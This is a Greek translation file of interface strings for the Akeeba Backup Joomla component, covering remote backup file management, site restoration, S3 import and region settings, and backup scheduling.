COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_SUBJECT="Το αντίγραφο ασφαλείας ολοκληρώθηκε με προειδοποιήσεις για %s"
COM_AKEEBABACKUP_PUSH_STARTBACKUP_BODY="Το Akeeba Backup ξεκίνησε τη δημιουργία αντιγράφου ασφαλείας του ιστότοπου \"%s\" που βρίσκεται στο %s στις %s."
COM_AKEEBABACKUP_PUSH_STARTBACKUP_SUBJECT="Έναρξη αντιγράφου ασφαλείας για %s"

COM_AKEEBABACKUP_REGEXDBFILTERS="Εξαίρεση πινάκων βάσης δεδομένων με κανονικές εκφράσεις (RegEx)"
COM_AKEEBABACKUP_REGEXFSFILTERS="Εξαίρεση αρχείων και καταλόγων με κανονικές εκφράσεις (RegEx)"

COM_AKEEBABACKUP_REMOTEFILES="Διαχείριση αρχείων αποθηκευμένων εξ αποστάσεως"
COM_AKEEBABACKUP_REMOTEFILES_DELETE="Διαγραφή"
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDELETE="Δεν ήταν δυνατή η διαγραφή του αρχείου που αποθηκεύτηκε εξ αποστάσεως. Το σφάλμα ήταν: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDOWNLOAD="Αδυναμία λήψης αρχείου. Το σφάλμα ήταν: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE="Δεν είναι δυνατό το άνοιγμα τοπικού αρχείου %s για εγγραφή· η διαδικασία λήψης ακυρώνεται"
COM_AKEEBABACKUP_REMOTEFILES_ERR_DELETE_ALREADY="Έχετε ήδη διαγράψει το αρχείο που αποθηκεύτηκε εξ αποστάσεως. Πρέπει να μεταφέρετε ξανά το αρχείο για να είναι διαθέσιμες εκ νέου οι λειτουργίες λήψης και διαγραφής απομακρυσμένου αρχείου."
COM_AKEEBABACKUP_REMOTEFILES_ERR_DOWNLOADEDTOFILE_ALREADY="Έχετε ήδη ανακτήσει το αρχείο που αποθηκεύτηκε εξ αποστάσεως στον διακομιστή του ιστότοπού σας. Επιλέξτε την εγγραφή αντιγράφου ασφαλείας και κάντε κλικ στη Διαγραφή αρχείων για να αφαιρέσετε το αρχείο αποθηκευμένο στον διακομιστή του ιστότοπού σας για επανενεργοποίηση αυτού του κουμπιού."
COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID="Καθορίστηκε μη έγκυρο αναγνωριστικό λήψης"
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED="Λυπούμαστε, η μηχανή απομακρυσμένης αποθήκευσης που χρησιμοποιείτε δεν υποστηρίζει λήψη ή διαγραφή αρχείων αποθηκευμένων εξ αποστάσεως."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_ALREADYONSERVER="Έχετε ήδη διαγράψει τα αρχεία που ήταν αποθηκευμένα εξ αποστάσεως χρησιμοποιώντας το Akeeba Backup."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_HEADER="Δεν υπάρχουν διαθέσιμες λειτουργίες απομακρυσμένων αρχείων"
COM_AKEEBABACKUP_REMOTEFILES_ERR_UNSUPPORTED="Αυτή η λειτουργία δεν υποστηρίζεται προς το παρόν από τη μηχανή μεταεπεξεργασίας που χρησιμοποιείται από την τρέχουσα εγγραφή αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_REMOTEFILES_FETCH="Ανάκτηση πίσω στον διακομιστή"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_HEADER="Λειτουργία σε εξέλιξη"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_PLEASEWAIT="Φόρτωση, παρακαλώ περιμένετε."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_UNDERWAY="Η λειτουργία που ζητήσατε βρίσκεται αυτή τη στιγμή σε εξέλιξη."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_WAITINGINFO="Θα λάβετε ενημέρωση για την πρόοδό της σε διάστημα από μερικά δευτερόλεπτα έως τρία λεπτά."
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADEDSOFAR="Λήφθηκαν %u bytes από %u συνολικά bytes (%u %%)"
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADLOCALLY="Λήψη στον υπολογιστή σας"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHED="Ολοκληρώθηκε η λήψη του συνόλου αντιγράφων ασφαλείας από την απομακρυσμένη αποθήκευση πίσω στον τοπικό διακομιστή"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHEDELETING="Τα αρχεία που ήταν αποθηκευμένα εξ αποστάσεως διαγράφηκαν επιτυχώς"
COM_AKEEBABACKUP_REMOTEFILES_PART="Μέρος #%u"

COM_AKEEBABACKUP_RESTORE="Επαναφορά Ιστότοπου"
COM_AKEEBABACKUP_RESTORE_LABEL_ARCHIVE_INFORMATION="Θα γίνει επαναφορά του αντιγράφου ασφαλείας #%d"
COM_AKEEBABACKUP_RESTORE_LABEL_WARN_ABOUT_RESTORE="Η επαναφορά ενός αντιγράφου ασφαλείας θα <em>αντικαταστήσει</em> τον ιστότοπό σας με το στιγμιότυπο που περιέχεται στο αρχείο αντιγράφου ασφαλείας. Οποιεσδήποτε αλλαγές έγιναν στον ιστότοπό σας μετά τη λήψη του αντιγράφου ασφαλείας θα <em>χαθούν οριστικά</em>. Παρακαλώ ελέγξτε ξανά ότι επαναφέρετε το σωστό αρχείο αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_RESTORE_ERROR_ARCHIVE_MISSING="Δεν ήταν δυνατός ο εντοπισμός του αρχείου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_RESTORE_ERROR_CANT_WRITE="Αδυναμία εγγραφής του restoration.php. Βεβαιωθείτε ότι ο κατάλογος <code>administrator/components/com_akeebabackup</code> είναι εγγράψιμος."
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD="Μη έγκυρη εγγραφή αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_TYPE="Μη έγκυρος τύπος αρχείου. Η ενσωματωμένη επαναφορά λειτουργεί μόνο με αρχεία JPA και ZIP."
COM_AKEEBABACKUP_RESTORE_ERROR_NO_LATEST="Δεν υπάρχει αντίγραφο ασφαλείας που να έχει ληφθεί με προφίλ #%d ή το αρχείο αντιγράφου ασφαλείας δεν βρίσκεται στον διακομιστή σας. Χρησιμοποιήστε τη σελίδα Διαχείρισης Αντιγράφων Ασφαλείας για να εντοπίσετε τα αντίγραφά σας, να τα ανακτήσετε πίσω στον διακομιστή σας (αν είναι αποθηκευμένα εξ αποστάσεως) και να τα επαναφέρετε."
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESEXTRACTED="Bytes που εξήχθησαν"
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESREAD="Bytes που διαβάστηκαν"
COM_AKEEBABACKUP_RESTORE_LABEL_DONOTCLOSE="Παρακαλώ <strong>ΜΗΝ</strong> μεταβείτε σε άλλη σελίδα, δεν εναλλάσσεστε σε άλλη καρτέλα / παράθυρο του προγράμματος περιήγησης, ή δεν μεταβαίνετε σε <em>διαφορετική εφαρμογή</em> έως ότου δείτε μήνυμα ολοκλήρωσης ή σφάλματος. Βεβαιωθείτε ότι η συσκευή σας δεν περνά σε κατάσταση αναστολής λειτουργίας ενώ βρίσκεται σε εξέλιξη η αποσυμπίεση του αρχείου αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD="Μέθοδος εξαγωγής αρχείων"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT="Άμεση εγγραφή στα αρχεία"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_FTP="Χρήση του επιπέδου FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_HYBRID="Υβριδική (άμεση εγγραφή, χρήση επιπέδου FTP μόνο όταν είναι απαραίτητο)"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED="Η εξαγωγή απέτυχε"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED_INFO="Η εξαγωγή του αρχείου αντιγράφου ασφαλείας απέτυχε.<br/>Το τελευταίο μήνυμα σφάλματος ήταν:"
COM_AKEEBABACKUP_RESTORE_LABEL_FILESEXTRACTED="Αρχεία που εξήχθησαν"
COM_AKEEBABACKUP_RESTORE_LABEL_FINALIZE="Οριστικοποίηση επαναφοράς"
COM_AKEEBABACKUP_RESTORE_LABEL_FTPOPTIONS="Επιλογές επιπέδου FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_INPROGRESS="Εξαγωγή αρχείου σε εξέλιξη"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC="Μέγιστος χρόνος εκτέλεσης (δευτερόλεπτα)"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC_TIP="Τα αρχεία θα εξάγονται για το πολύ τόσα δευτερόλεπτα σε κάθε βήμα. Αυξήστε για ταχύτερη εξαγωγή. Μειώστε για αποφυγή τερματισμού εκτέλεσης λόγω χρονικού ορίου του διακομιστή."
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC="Ελάχιστος χρόνος εκτέλεσης (δευτερόλεπτα)"
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC_TIP="Κάθε βήμα εξαγωγής αρχείων δεν θα επιστρέφει για τόσα δευτερόλεπτα. Ορίστε υψηλότερα από τη μέγιστη ρύθμιση παρακάτω για να προσθέσετε \"νεκρό χρόνο\" σε κάθε βήμα, μειώνοντας την κατανάλωση πόρων."
COM_AKEEBABACKUP_RESTORE_LABEL_REMOTETIP="<strong>Συμβουλή</strong>: Για επαναφορά σε απομακρυσμένο διακομιστή, επιλέξτε \"Χρήση του επιπέδου FTP\" και δώστε τις πληροφορίες σύνδεσης FTP του απομακρυσμένου διακομιστή στις Επιλογές Επιπέδου FTP παρακάτω.<br/>Χρησιμοποιήστε την Υβριδική επιλογή και δώστε τις πληροφορίες σύνδεσης FTP του τρέχοντος ιστότοπου αν η επαναφορά αποτύχει με αρχεία που δεν μπορούν να εγγραφούν."
COM_AKEEBABACKUP_RESTORE_LABEL_RUNINSTALLER="Εκτέλεση του σεναρίου επαναφοράς ιστότοπου"
COM_AKEEBABACKUP_RESTORE_LABEL_START="Έναρξη Επαναφοράς"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS="Η εξαγωγή ολοκληρώθηκε επιτυχώς"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2="Πρέπει τώρα να εκτελέσετε το Σενάριο Επαναφοράς Akeeba Backup που συμπεριλήφθηκε στο αρχείο αντιγράφου ασφαλείας κατά τη λήψη. <em>Μην κλείσετε αυτό το παράθυρο!</em>. Μετά την ολοκλήρωση της επαναφοράς, κλείστε το παράθυρο του Σεναρίου Επαναφοράς Akeeba Backup και κάντε κλικ στο νέο κουμπί Οριστικοποίησης Επαναφοράς παρακάτω για να αφαιρέσετε τον κατάλογο <code>installation</code> και να ξεκινήσετε να χρησιμοποιείτε τον αποκατεστημένο ιστότοπό σας."
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2B="Αν, ωστόσο, επαναφέρετε σε απομακρυσμένο ιστότοπο, <em>μην</em> κάνετε κλικ σε κανένα από τα κουμπιά. Αντ' αυτού, επισκεφθείτε τη διεύθυνση URL του σεναρίου επαναφοράς στη διεύθυνση <code>http://<var>www.yoursite.com</var>/installation/index.php</code>. Μετά την ολοκλήρωση της επαναφοράς, κάντε κλικ στη σύνδεση \"Αφαίρεση φακέλου εγκατάστασης\" στην τελική σελίδα του σεναρίου επαναφοράς ή, αν αυτό αποτύχει, αφαιρέστε τον κατάλογο <code>installation</code> από εκείνον τον ιστότοπο χρησιμοποιώντας την αγαπημένη σας εφαρμογή FTP."
COM_AKEEBABACKUP_RESTORE_LABEL_TIME_HEAD="Ρυθμίσεις χρονισμού (για προχωρημένους)"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE="Διαγραφή όλων πριν από την εξαγωγή"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE_HELP="Επιχειρεί να διαγράψει όλα τα υπάρχοντα αρχεία και φακέλους κάτω από τον ριζικό κατάλογο του ιστότοπού σας πριν από την εξαγωγή του αρχείου αντιγράφου ασφαλείας. ΔΕΝ λαμβάνει υπόψη ποια αρχεία και φάκελοι υπάρχουν στο αρχείο αντιγράφου ασφαλείας ή ποια αρχεία και φάκελοι εξαιρέθηκαν κατά τη λήψη αντιγράφου ασφαλείας. Τα αρχεία και οι φάκελοι που διαγράφονται από αυτή τη λειτουργία ΔΕΝ ΜΠΟΡΟΥΝ να ανακτηθούν. <strong>ΠΡΟΕΙΔΟΠΟΙΗΣΗ! ΑΥΤΟ ΜΠΟΡΕΙ ΝΑ ΔΙΑΓΡΑΨΕΙ ΑΡΧΕΙΑ ΚΑΙ ΦΑΚΕΛΟΥΣ ΠΟΥ ΔΕΝ ΑΝΗΚΟΥΝ ΣΤΟΝ ΙΣΤΟΤΟΠΟ ΣΑΣ. ΑΥΤΗ Η ΛΕΙΤΟΥΡΓΙΑ ΠΡΟΟΡΙΖΕΤΑΙ ΜΟΝΟ ΓΙΑ ΠΟΛΥ ΕΜΠΕΙΡΟΥΣ ΧΡΗΣΤΕΣ ΠΟΥ ΚΑΤΑΝΟΟΥΝ ΤΟΥΣ ΚΙΝΔΥΝΟΥΣ. ΧΡΗΣΙΜΟΠΟΙΕΙΤΕ ΜΕ ΑΚΡΑΤΗ ΠΡΟΣΟΧΗ. ΕΝΕΡΓΟΠΟΙΩΝΤΑΣ ΑΥΤΗ ΤΗ ΛΕΙΤΟΥΡΓΙΑ ΑΝΑΛΑΜΒΑΝΕΤΕ ΟΛΕΣ ΤΙΣ ΕΥΘΥΝΕΣ ΚΑΙ ΥΠΟΧΡΕΩΣΕΙΣ. ΕΠΙΠΛΕΟΝ ΠΑΡΑΙΤΕΙΣΤΕ ΑΠΟ ΚΑΘΕ ΔΙΚΑΙΩΜΑ ΝΑ ΖΗΤΗΣΕΤΕ ΥΠΟΣΤΗΡΙΞΗ ΑΠΟ ΤΗΝ AKEEBA LTD.</strong>"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE="Ενεργοποίηση Κατάστασης Αόρατης Λειτουργίας κατά την επαναφορά"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE_HELP="Οι επισκέπτες του ιστότοπού σας που προέρχονται από διαφορετική διεύθυνση IP από τη δική σας θα ανακατευθύνονται προσωρινά στη σελίδα <code>installation/offline.html</code>, ένα αρχείο που τους ενημερώνει ότι ο ιστότοπός σας βρίσκεται υπό συντήρηση. Λειτουργεί μόνο σε διακομιστές που υποστηρίζουν αρχεία <code>.htaccess</code>. Παρακαλώ διαβάστε την τεκμηρίωση για περισσότερες πληροφορίες."

COM_AKEEBABACKUP_S3IMPORT="Εισαγωγή Αρχείων από S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTOPEN="Δεν είναι δυνατό το άνοιγμα του προσωρινού αρχείου που μόλις δημιουργήσαμε· ο διακομιστής σας έχει ένα πρόβλημα που δεν μπορούμε να επιλύσουμε"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTWRITE="Δεν είναι δυνατή η εγγραφή στον κατάλογο εξόδου σας· παρακαλώ ελέγξτε τα δικαιώματα"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTENOUGHINFO="Δεν υπάρχουν αρκετές πληροφορίες για σύνδεση στο S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTFOUND="Το αρχείο δεν βρέθηκε στον κάδο S3 σας"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CHANGEBUCKET="Αλλαγή κάδου"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CONNECT="Σύνδεση στο S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_SELECTBUCKET="- Κάδος -"
COM_AKEEBABACKUP_S3IMPORT_MSG_IMPORTCOMPLETE="Το αρχείο εισήχθη επιτυχώς στον ιστότοπό σας"

COM_AKEEBABACKUP_S3_ACCESS_DESCRIPTION="Ο τρόπος πρόσβασης του API στον κάδο. Αν δεν είστε σίγουροι, χρησιμοποιήστε Virtual Hosting. Το Virtual Hosting είναι η συνιστώμενη, υποστηριζόμενη μέθοδος για το Amazon S3 που χρησιμοποιεί URL της μορφής https://BUCKET.ENDPOINT για πρόσβαση στον κάδο. Η Πρόσβαση Διαδρομής είναι μια μη υποστηριζόμενη, καταργημένη μέθοδος που χρησιμοποιεί URL της μορφής https://ENDPOINT/BUCKET για πρόσβαση στον κάδο. Θα πρέπει να χρησιμοποιείτε Πρόσβαση Διαδρομής μόνο εάν ένας τρίτος πάροχος αποθήκευσης με API συμβατό με Amazon S3 σας το ζητήσει."
COM_AKEEBABACKUP_S3_ACCESS_PATH="Πρόσβαση Διαδρομής (παλαιού τύπου)"
COM_AKEEBABACKUP_S3_ACCESS_TITLE="Πρόσβαση κάδου"
COM_AKEEBABACKUP_S3_ACCESS_VIRTUALHOST="Virtual Hosting (συνιστάται)"
COM_AKEEBABACKUP_S3_REGION_TITLE="Περιοχή Amazon S3"
COM_AKEEBABACKUP_S3_REGION_DESCRIPTION="Επιλέξτε την περιοχή S3 στην οποία βρίσκεται ο κάδος σας. Παρακαλώ συμβουλευτείτε http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region <strong>ΠΡΟΣΟΧΗ! Λόγω του API της Amazon, ΠΡΕΠΕΙ να επιλέξετε την τοποθεσία του κάδου σας όταν χρησιμοποιείτε τη μέθοδο υπογραφής v4. Η μέθοδος υπογραφής v4 είναι ΥΠΟΧΡΕΩΤΙΚΗ για όλους τους κάδους που δημιουργήθηκαν σε οποιαδήποτε περιοχή που τέθηκε σε λειτουργία μετά τον Ιανουάριο του 2014, όπως η Φρανκφούρτη και το Σάο Πάολο.</strong> Αυτός είναι περιορισμός της Amazon, όχι περιορισμός του Akeeba Backup. Σας ευχαριστούμε για την κατανόησή σας."
COM_AKEEBABACKUP_S3_REGION_NONE="Καμία (ΠΡΟΣΟΧΗ! ΧΡΗΣΙΜΟΠΟΙΕΙΤΕ ΜΟΝΟ ΜΕ ΤΗ ΜΕΘΟΔΟ ΥΠΟΓΡΑΦΗΣ v2)"
COM_AKEEBABACKUP_S3_REGION_CUSTOM_OR_NONE="Προσαρμοσμένη / Καμία"
COM_AKEEBABACKUP_S3_REGION_AFSOUTH1="Αφρική, Νότια (Κέιπ Τάουν)"
COM_AKEEBABACKUP_S3_REGION_APEAST1="Ασία-Ειρηνικός, Ανατολικά (Χονγκ Κονγκ)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST1="Ασία-Ειρηνικός, Βορειοανατολικά (Τόκιο)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST2="Ασία-Ειρηνικός, Βορειοανατολικά (Σεούλ)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST3="Ασία-Ειρηνικός, Νοτιοανατολικά (Οσάκα)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH1="Ασία-Ειρηνικός, Νότια (Μουμπάι)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH2="Ασία-Ειρηνικός, Νότια (Χαϊντεραμπάντ)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST1="Ασία-Ειρηνικός, Νοτιοανατολικά (Σιγκαπούρη)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST2="Ασία-Ειρηνικός, Νοτιοανατολικά (Σίδνεϊ)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST3="Ασία-Ειρηνικός, Νοτιοανατολικά (Τζακάρτα)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST4="Ασία-Ειρηνικός, Νοτιοανατολικά (Μελβούρνη)"
COM_AKEEBABACKUP_S3_REGION_CACENTRAL1="Καναδάς (Κεντρικά)"
COM_AKEEBABACKUP_S3_REGION_CNNORTH1="Κίνα, Βόρεια (Πεκίνο)"
COM_AKEEBABACKUP_S3_REGION_CNNORTHWEST1="Κίνα, Βορειοδυτικά (Νινγκσία)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL1="Ευρώπη, Κεντρικά (Φρανκφούρτη)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL2="Ευρώπη, Κεντρικά (Ζυρίχη)"
COM_AKEEBABACKUP_S3_REGION_EUNORTH1="Ευρώπη, Βόρεια (Στοκχόλμη)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH1="Ευρώπη, Νότια (Μιλάνο)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH2="Ευρώπη, Νότια (Ισπανία)"
COM_AKEEBABACKUP_S3_REGION_EUWEST1="Ευρώπη, Δυτικά (Ιρλανδία)"
COM_AKEEBABACKUP_S3_REGION_EUWEST2="Ευρώπη, Δυτικά (Λονδίνο)"
COM_AKEEBABACKUP_S3_REGION_EUWEST3="Ευρώπη, Δυτικά (Παρίσι)"
COM_AKEEBABACKUP_S3_REGION_MECENTRAL1="Μέση Ανατολή, Κεντρικά (ΗΑΕ)"
COM_AKEEBABACKUP_S3_REGION_MESOUTH1="Μέση Ανατολή, Νότια (Μπαχρέιν)"
COM_AKEEBABACKUP_S3_REGION_SAEAST1="Νότια Αμερική, Ανατολικά (Σάο Πάολο)"
COM_AKEEBABACKUP_S3_REGION_USEAST1="ΗΠΑ Ανατολικά (Β. Βιρτζίνια)"
COM_AKEEBABACKUP_S3_REGION_USEAST2="ΗΠΑ Ανατολικά (Οχάιο)"
COM_AKEEBABACKUP_S3_REGION_USWEST1="ΗΠΑ Δυτικά (Β. Καλιφόρνια)"
COM_AKEEBABACKUP_S3_REGION_USWEST2="ΗΠΑ Δυτικά (Όρεγκον)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST1="AWS GovCloud (ΗΠΑ-Ανατολικά)"
COM_AKEEBABACKUP_S3_REGION_USGOVEAST2="AWS GovCloud (ΗΠΑ-Δυτικά)"
COM_AKEEBABACKUP_S3_RRS_DEEP_ARCHIVE="Βαθύ Αρχείο"
COM_AKEEBABACKUP_S3_RRS_GLACIER="Glacier"
COM_AKEEBABACKUP_S3_RRS_INTELLIGENT_TIERING="Ευφυής Κατηγοριοποίηση"
COM_AKEEBABACKUP_S3_RRS_ONEZONE_IA="Μία Ζώνη - Σπάνια Πρόσβαση"
COM_AKEEBABACKUP_S3_RRS_RRS="Αποθήκευση Μειωμένης Πλεονασμού"
COM_AKEEBABACKUP_S3_RRS_STANDARD="Τυπική αποθήκευση"
COM_AKEEBABACKUP_S3_RRS_STANDARD_IA="Τυπική - Σπάνια Πρόσβαση"
COM_AKEEBABACKUP_S3_SIGNATURE_DESCRIPTION="Καθορίστε τη μέθοδο υπογραφής αιτημάτων. Χρησιμοποιήστε v4 αν δεν είστε σίγουροι. Ίσως χρειαστεί να χρησιμοποιήσετε v2 με υπηρεσίες αποθήκευσης τρίτων (π.χ. όταν καθορίζετε προσαρμοσμένο τελικό σημείο)."
COM_AKEEBABACKUP_S3_SIGNATURE_TITLE="Μέθοδος υπογραφής"
COM_AKEEBABACKUP_S3_SIGNATURE_V2="v2 (παλαιός τρόπος, πάροχοι αποθήκευσης τρίτων)"
COM_AKEEBABACKUP_S3_SIGNATURE_V4="v4 (προτιμητέο για Amazon S3)"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_TITLE="Προσαρμοσμένη Περιοχή Amazon S3"
COM_AKEEBABACKUP_S3_CUSTOM_REGION_DESCRIPTION="Ορίστε την παραπάνω επιλογή σε «Προσαρμοσμένη / Καμία» και εισαγάγετε εδώ το όνομα της περιοχής που θέλετε να χρησιμοποιήσετε, π.χ. <code>us-east-1</code> για ΗΠΑ Ανατολικά (Β. Βιρτζίνια).<br/>Αυτό προορίζεται για χρήση με νέες περιοχές S3 που δεν έχουμε ήδη καταχωρίσει παραπάνω ή με υπηρεσίες τρίτων συμβατές με S3 που χρησιμοποιούν το API S3 v4 και τα δικά τους, προσαρμοσμένα, ονόματα περιοχών ειδικά για την υπηρεσία."

COM_AKEEBABACKUP_SCHEDULE="Προγραμματισμός Αυτόματων Αντιγράφων Ασφαλείας"

COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER="Προγραμματισμένες Εργασίες Joomla"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_INFO="Μπορείτε να δημιουργήσετε εργασίες αντιγράφων ασφαλείας χρησιμοποιώντας τη λειτουργία Προγραμματισμένων Εργασιών του Joomla. Παρακαλώ διαβάστε πρώτα την τεκμηρίωση για να κατανοήσετε τους συμβιβασμούς και τα πιθανά προβλήματα ανάλογα με τον τρόπο με τον οποίο επιλέγετε να ενεργοποιείτε τις Προγραμματισμένες Εργασίες του Joomla."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_BUTTON="Διαχείριση Προγραμματισμένων Εργασιών σας"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_HEAD="Οι Προγραμματισμένες Εργασίες είναι διαθέσιμες μόνο σε Joomla 4.1 και νεότερο"
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_BODY="Το Joomla εισήγαγε τη λειτουργία Προγραμματισμένων Εργασιών στην έκδοση Joomla! 4.1.0. Παρακαλώ ενημερώστε τον ιστότοπό σας στην τελευταία έκδοση Joomla για να αποκτήσετε πρόσβαση στις Προγραμματισμένες Εργασίες."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_HEAD="Το πρόσθετο «Εργασία – Akeeba Backup» είναι απενεργοποιημένο."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BODY="Το πρόσθετο «Εργασία – Akeeba Backup» πρέπει να είναι ενεργοποιημένο ώστε οι Προγραμματισμένες Εργασίες του Joomla να γνωρίζουν πώς να εκτελούν αντίγραφα ασφαλείας με το Akeeba Backup. Παρακαλώ μεταβείτε στο Σύστημα, Διαχείριση, Πρόσθετα και ενεργοποιήστε το πρόσθετο. Εναλλακτικά, κάντε κλικ στο παρακάτω κουμπί για να επεξεργαστείτε απευθείας το πρόσθετο."
COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BUTTON="Επεξεργασία του πρόσθετου"

COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON="Εναλλακτικές εργασίες CRON Γραμμής Εντολών"
COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON_INFO="Αυτή η μέθοδος συνιστάται μόνο αν η κανονική εργασία CRON Γραμμής Εντολών δεν ολοκληρώνεται. Παρόλο που εκτελείται μέσω της εφαρμογής κονσόλας του Joomla, θα χρησιμοποιεί την εφαρμογή ιστού του Joomla — με τη μέθοδο εφεδρικού αντιγράφου front-end του Akeeba Backup — γεγονός που την καθιστά πιο αργή από τη μέθοδο CLI."
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECKHEADERINFO="<p>Όταν ένα προγραμματισμένο αντίγραφο ασφαλείας αποτυγχάνει, συνήθως σημαίνει ότι η PHP σταμάτησε να λειτουργεί πριν από την ολοκλήρωση του αντιγράφου ασφαλείας. Επομένως, το Akeeba Backup δεν μπορεί να σας ειδοποιήσει για την αποτυχία του αντιγράφου ασφαλείας με τον ίδιο τρόπο που σας ειδοποιεί όταν το αντίγραφο ασφαλείας ολοκληρωθεί επιτυχώς ή με προειδοποιήσεις.</p><p>Για να λύσετε αυτό το πρόβλημα, μπορείτε να προγραμματίσετε τους ελέγχους των πιο πρόσφατων αντιγράφων ασφαλείας να εκτελούνται μετά το αναμενόμενο τέλος της εκτέλεσης του αντιγράφου ασφαλείας σας. Δεν είστε σίγουροι πότε θα είναι αυτό; Ιδανικά, θα πρέπει να είναι η διάρκεια του τελευταίου επιτυχούς αντιγράφου ασφαλείας που καταγράφεται στη σελίδα Διαχείρισης Αντιγράφων Ασφαλείας συν μισή ώρα.</p><p>Μπορείτε να προγραμματίσετε αυτόν τον έλεγχο με πολλές διαφορετικές μεθόδους, όπως ακριβώς και το ίδιο το αντίγραφο ασφαλείας. Παρακάτω θα βρείτε περισσότερες πληροφορίες για κάθε διαθέσιμη μέθοδο προγραμματισμού ελέγχων αντιγράφων ασφαλείας. Αν δεν είστε σίγουροι ποια να χρησιμοποιήσετε, συνιστούμε να χρησιμοποιήσετε την ίδια μέθοδο προγραμματισμού με τα αντίγραφα ασφαλείας σας.</p>"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_BACKUPS="Έλεγχος Κατάστασης Αντιγράφων Ασφαλείας"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON="Εργασίες CRON Γραμμής Εντολών (συνιστάται)"
COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON_INFO="Αυτή είναι η συνιστώμενη μέθοδος για όλους τους διακομιστές που υποστηρίζουν εργασίες CRON γραμμής εντολών. Αυτή η μέθοδος χρησιμοποιεί την εφαρμογή κονσόλας (CLI) του Joomla — αντί της εφαρμογής ιστού του Joomla! — επιτυγχάνοντας μέγιστη ταχύτητα αντιγράφων ασφαλείας."
COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO="Σημαντικό"
